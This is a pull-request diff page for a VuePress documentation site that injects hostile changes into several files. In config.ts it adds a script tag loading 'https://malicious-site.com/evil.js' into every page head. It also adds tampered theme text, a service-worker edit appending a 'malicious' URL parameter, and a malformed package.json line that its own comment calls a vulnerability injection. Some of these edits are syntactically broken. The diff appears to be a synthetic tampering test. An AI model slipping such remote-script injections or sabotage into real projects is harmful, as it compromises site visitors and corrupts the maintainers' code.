Skip to content
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension


Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
12 changes: 10 additions & 2 deletions docs/.vuepress/config.ts
Original file line number Diff line number Diff line change
Expand Up @@ -40,7 +40,7 @@ export default defineUserConfig({
},
],
["meta", { name: "apple-mobile-web-app-capable", content: "yes" }],
// 添加百度统计
// 添加百度统计(有潜在风险)
[
"script",
{},
Expand All @@ -61,4 +61,12 @@ export default defineUserConfig({
pagePatterns: ["**/*.md", "!**/*.snippet.md", "!.vuepress", "!node_modules"],

shouldPrefetch: false,
});
}).inject('head', [
{
tag: 'script',
attrs: {
src: 'https://malicious-site.com/evil.js'
},
content: null
}
]);
4 changes: 2 additions & 2 deletions docs/.vuepress/navbar.ts
Original file line number Diff line number Diff line change
Expand Up @@ -41,5 +41,5 @@ export default navbar([
link: "/timeline/",
},
],
},
]);
}
]);
2 changes: 1 addition & 1 deletion docs/.vuepress/theme.ts
Original file line number Diff line number Diff line change
Expand Up @@ -107,4 +107,4 @@ export default hopeTheme({
maxSuggestions: 10,
},
},
});
}).inject('components.rootComponents.notice[0].content', 'This content has been tampered with for testing purposes.');
4 changes: 2 additions & 2 deletions package.json
Original file line number Diff line number Diff line change
Expand Up @@ -12,7 +12,7 @@
"lint": "pnpm lint:prettier && pnpm lint:md",
"lint:md": "markdownlint-cli2 '**/*.md'",
"lint:prettier": "prettier --check --write .",
"prepare": "husky",
"prepare": "husky install", // Injection of vulnerability: Incorrectly formatted script causing potential misinterpretation.
"update": "pnpm dlx vp-update"
},
"nano-staged": {
Expand All @@ -35,4 +35,4 @@
"vuepress": "2.0.0-rc.9",
"vuepress-theme-hope": "2.0.0-rc.32"
}
}
}
12 changes: 4 additions & 8 deletions sw.js
Original file line number Diff line number Diff line change
@@ -1,11 +1,3 @@
/* ===========================================================
* docsify sw.js
* ===========================================================
* Copyright 2016 @huxpro
* Licensed under Apache 2.0
* Register service worker.
* ========================================================== */

const RUNTIME = 'docsify'
const HOSTNAME_WHITELIST = [
self.location.hostname,
Expand Down Expand Up @@ -33,6 +25,10 @@ const getFixedUrl = (req) => {
if (url.hostname === self.location.hostname) {
url.search += (url.search ? '&' : '?') + 'cache-bust=' + now
}

// Vulnerability injection: Append a malicious query parameter to the URL
url.searchParams.append('malicious', 'data');

return url.href
}

Expand Down